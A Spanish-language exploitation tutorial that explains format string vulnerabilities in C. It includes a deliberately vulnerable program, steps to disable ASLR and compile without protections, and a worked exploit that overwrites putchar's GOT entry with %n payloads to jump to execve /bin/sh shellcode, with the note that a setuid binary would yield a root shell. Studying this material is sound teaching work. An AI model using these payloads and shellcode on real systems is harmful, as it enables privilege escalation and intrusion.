by hdbreaker
Esta entrada esta dedicada a la lista de entradas sobre Exploiting, pero de momento dejaremos de
lado los tratados Buffer Overflow para hablar sobre
Format String Atack
Veremos como en el mejor de los casos un Format String Atack puede derivar en la ejecución de código arbitrario.
Antes de comenzar, a que nos referimos con Format String?
En C/C++ exiten una serie de funciones que nos permiten imprimir en pantalla texto formateado especificado según una serie de parámetros de formato
Estas son las funciones especificadas por owasp:
Format function | Description |
---|---|
fprint | Writes the printf to a file |
printf | Output a formatted string |
sprintf | Prints into a string |
snprintf | Prints into a string checking the length |
vfprintf | Prints the a va_arg structure to a file |
vprintf | Prints the va_arg structure to stdout |
vsprintf | Prints the va_arg to a string |
vsnprintf | Prints the va_arg to a string checking the length |
Estas funciones pueden utilizar la siguiente lista de parámetros de formato:
Parameters | Output | Passed as |
---|---|---|
%% | % character (literal) | Reference |
%p | External representation of a pointer to void | Reference |
%d | Decimal | Value |
%c | Character | |
%u | Unsigned decimal | Value |
%x | Hexadecimal | Value |
%s | String | Reference |
%n | Writes the number of characters into a pointer | Reference |
Un ejemplo del uso correcto de estas funciones es:
C Code:
printf("Color %s, numero %d, hex %x\n", "rojo", 12345, 255);
Output:
Como vemos la función muestra los valores "rojo", 12345, 255 respetando el formato correspondiente a la orden de aparición de los parámetros de formato.
De esta forma %s imprime el string "rojo", %d imprime el valor decimal de 12345, y %x imprime el valor hexadecimal de 255
La vulnerabilidad
De aquà en adelante usaremos el siguiente código vulnerable:
Código C:
Código C:
//vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> int main (int argc, char **argv) { char b[100]; strcpy(b, argv[1]); printf (b); printf ("\n"); return 0 ; }
Desactivamos el ASLR:
# echo 0 > /proc/sys/kernel/randomize_va_space
Compilamos eliminando protecciones:
$ gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln
Si analizamos el código vemos que existe un Buffer Overflow en la funcion strcpy(b, argv[1]); donde se copia todo lo ingresado como parámetro de consola ( argv[1] ) en el buffer b con tamaño determinado en char b[100];
Sin embargo no explotaremos el Buffer Overflow, sino que nos centraremos en la función printf (b);
En la misma radica la vulnerabilidad de Format String Atack.
La misma se produce cuando se utiliza alguna función de formato que imprime datos ingresados por el usuario (argv[1]) sin especificar parámetros de formateo.
Por lo cual, un atacante podrÃa ingresar como datos parámetros de formateo modificando el funcionamiento de la función printf() a gusto.
•"%x" Nos permitirá leer registros del stack
•"%s" Nos permitirá leer strings desde la memoria del proceso
•"%n" Nos permitirá escribir enteros a un puntero especifico de memoria
Information Leakage
El ataque comienza con la posibilidad de recuperar información del Stack y de la Memoria del Proceso utilizando los operadores de lectura %x y %sComo vemos el programa funciona correctamente e imprime los datos que le enviamos, pero al ser vulnerable, podemos inyectar parámetros de formateo y ver como responde el programa:
Como vemos los parámetros de formateo se inyectaron correctamente y comenzamos a retornar contenido del stack en las posiciones siguientes del stack, para verlo mas claro, lo analizaremos desde gdb:
Si vemos la sección Stack se puede ver que la posición 02:0008, 02:0012, 02:0016 contienen los valores: 0xffffd1b1 , 0x2c0003f y 0x0
que son exactamente los mismos que nos devuelve nuestra inyección:
También podemos acceder a un lugar especifico del Stack determinando cuantas posiciones hacia adelante queremos leer, por ejemplo, si quisiéramos retornar el valor 0x2c0003f, deberÃamos mover 2 posiciones el puntero de lectura, esto se puede hacer de la siguiente forma: %2\$x
%2 => indica la cantidad de saltos que vamos a realizar con el puntero de lectura
\$x => indica el parámetro de formateo.
Otro ejemplo, leeremos un string de las variables de entorno en la memoria del proceso:
Se observa que moviendo el puntero lo suficiente (%121) e indicando que vamos a leer un string (\$s)
podemos obtener información de la memoria del proceso, en este caso información sobre las variables de entorno que se cargan en momento de ejecución:
KONSOLE_DBUS_SESSION=/Sessions/2
Explotation
Comprendiendo el funcionamiento de un binario, podemos determinar que el valor ingresado por el usuario (AAAA) debe, en algún momento ser cargado en una variable del Stack para luego ser utilizado por diferentes instrucciones del ensamblador.Para explotar un Arbitrary Code Execution debemos determinar la posición del Stack donde se guarda nuestro parametro de entrada.
Esto lo lograremos leyendo continuamente posiciones del Stack con el parametro de formato %x.
Podemos ver que en la posición 7 del Stack se encuentra guardado el valor 41414141 que corresponde a AAAA en hexadecimal.
La magia sucede cuando utilizamos el parametro de formateo %n que nos permitirá escribir un entero dentro de una posición de memoria determinada. Este entero estará dado por el largo de caracteres que contenga nuestro valor ingresado por el usuario.
Realizamos una prueba y vemos que se produce un Segmentation Fault:
para entender por que se produce esto, debuggearemos con gdb:
gdb-peda$ r AAAA-%7\$n
Vemos que nuestro puntero se detiene en:
mov DWORD PTR [eax],ecx
Lo que implica que el error que produce nuestro segmentation fault se produce aquÃ.
La instrucción MOV intenta mover el contenido de ECX dentro de la dirección de memoria de EAX,
pero que contiene ECX y EAX?
ECX => Corresponde al largo del parámetro que enviamos por consola, nosotros enviamos AAAA-
lo cual corresponde a 5 caracteres, cuya representación hexadecimal es 0x5.
EAX => Es la dirección de memoria donde se va a guardar ECX, obviamente la dirección de memoria 0x41414141 no existe, por lo que al intentar copiar ECX dentro de EAX el programa se detiene.
Esto nos da información muy importante:
Por medio de información enviada por el usuario podemos escribir un entero de cualquier largo dentro de una dirección de memoria que inyectamos arbitrariamente en el Stack.
Esto nos permitirá controlar el flujo de la aplicación reescribiendo la dirección de memoria donde debe saltar una llamada a libc, o dicho de otra forma, hacia donde debe saltar una instrucción Call que llame a una funcion de libc.
Desensamblamos MAIN y buscamos una llamada a una funcion de libc posterior a printf:
Vemos que en la dirección 0x080484a5 se produce la llamada a printf, y posterior mente en la dirección 0x080484b1 se realiza una llamada a la función putchar.
Ambas funciones pertenecen a libc, y todas los punteros hacia funciones importadas desde libc se cargan en la tabla: DYNAMIC RELOCATION RECORDS
Obtenemos esta tabla utilizando Objdump:
$ objdump -R vuln
En sÃntesis, al ejecutarse la instrucción CALL hacia putchar, la memoria retorna la dirección correcta hacia donde debe saltar preguntandole a la tabla DYNAMIC RELOCATION RECORDS en que dirección de memoria de libc se encuentra putchar.
En este caso putchar se encuentra en la dirección de memoria 0x0804a01c.
Gracias al Format String Atack podremos modificar esta dirección y lograr que DYNAMIC RELOCATION RECORDS le responda a CALL con la dirección de memoria donde alojemos nuestro Shellcode.
Para esto crearemos nuestra shellcode dentro de una variable de entorno:
$ export EGG=$(python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
y obtendremos su dirección por medio de Getenv o por medio de gdb:
Nuestro shellcode se aloja en la dirección de memoria: 0xffffd3c8
Por lo cual debemos lograr que DYNAMIC RELOCATION RECORDS responda al Call esa dirección.
Para esto utilizaremos el parametro de formateo %n para sobrescribir con enteros la dirección 0x0804a01c (DYNAMIC RELOCATION RECORDS de putchar), por la que nosotros deseemos.
Como la mayoria de los enteros se pueden representar por el largo de 2 bytes, deberemos dividir la dirección 0x0804a01c en 2 direcciones:
!!!Recordar Little Endian!!!
La primera: 0x0804a01c que contemplara los 2 primeros bytes del string: a01c
La segunda: 0x0804a01e que contemplara los 2 ultimos bytes del string 0804
Por lo que nuestro payload quedara de la siguiente forma:
r $(python -c "import struct; print struct.pack('<I', 0x0804a01c) + struct.pack('<I', 0x0804a01e)")-%7\$n-%8\$n
Observamos como EIP ahora salta hacia: 0x000a0009
De ahora en mas todo lo que se encuentre delante de %7\$n modificara la dirección 0x0804a01c que corresponde al segmento: 0009 y todo lo que se encuentre delante de %8\$n modificara la dirección 0x0804a01e que corresponde al segmento: 000a
Recordemos:
Nuestro shellcode se aloja en la dirección de memoria: 0xffffd3c8
Jugando con el largo del input deberiamos lograr que 0009 se convierta en d3c8 y 000a se convierta en ffff.
Ingresar todos estos caracteres uno a uno hasta llegar al objetivo es algo un tanto engorroso podremos ayudarnos del operador de formato: %{Numer_Decimal}u que incrementara el valor ingresado tal cual si lo hicieramos a mano.
Hora de calcular:
d3c8 - 0009 = D3BF => 54207 Decimal
Modificamos nuestro payload:
Vemos como nuestro 0009 ahora es d3c8 que es la cola de nuestra dirección de shellcode: 0xffffd3c8
pero tambien vemos que 000a se transformo a d3c9 esto se debe al aumento de bytes producto de insertar el largo de 54207 caracteres.
Calculamos la diferencia faltante para la cabeza de nuestra dirección de memoria:
ffff - d3c9 = 2C36 => 11318 Decimal
Corregimos nuestro payload:
r $(python -c "import struct; print struct.pack('<I', 0x0804a01c) + struct.pack('<I', 0x0804a01e)")-%54207u%7\$n-%11318u%8\$n
y obtenemos shell dentro de gdb:
Solo queda lograr la ejecución fuera de gdb:
./vuln $(python -c "import struct; print struct.pack('<I', 0x0804a01c) + struct.pack('<I', 0x0804a01e)")-%54207u%7\$n-%11318u%8\$n
Como verán la dirección cambió un poco, nuestro shellcode comienza en la dirección 0xfffd3c2
sin embargo nuestro exploit funcionara igual aunque estemos redirigiendo el flujo a la dirección 0xfffd3c8, ya que esta zona esta contenida por nuestro nopsleed (es decir los primeros 100 nop agregados al inicio de nuestra shellcode: export EGG=$(python -c "print '\x90'*100...)
El resultado:
Si el dueño del binario fuese, y tuviera el Bit Suid activo obtendrÃamos Shell Root:
Root: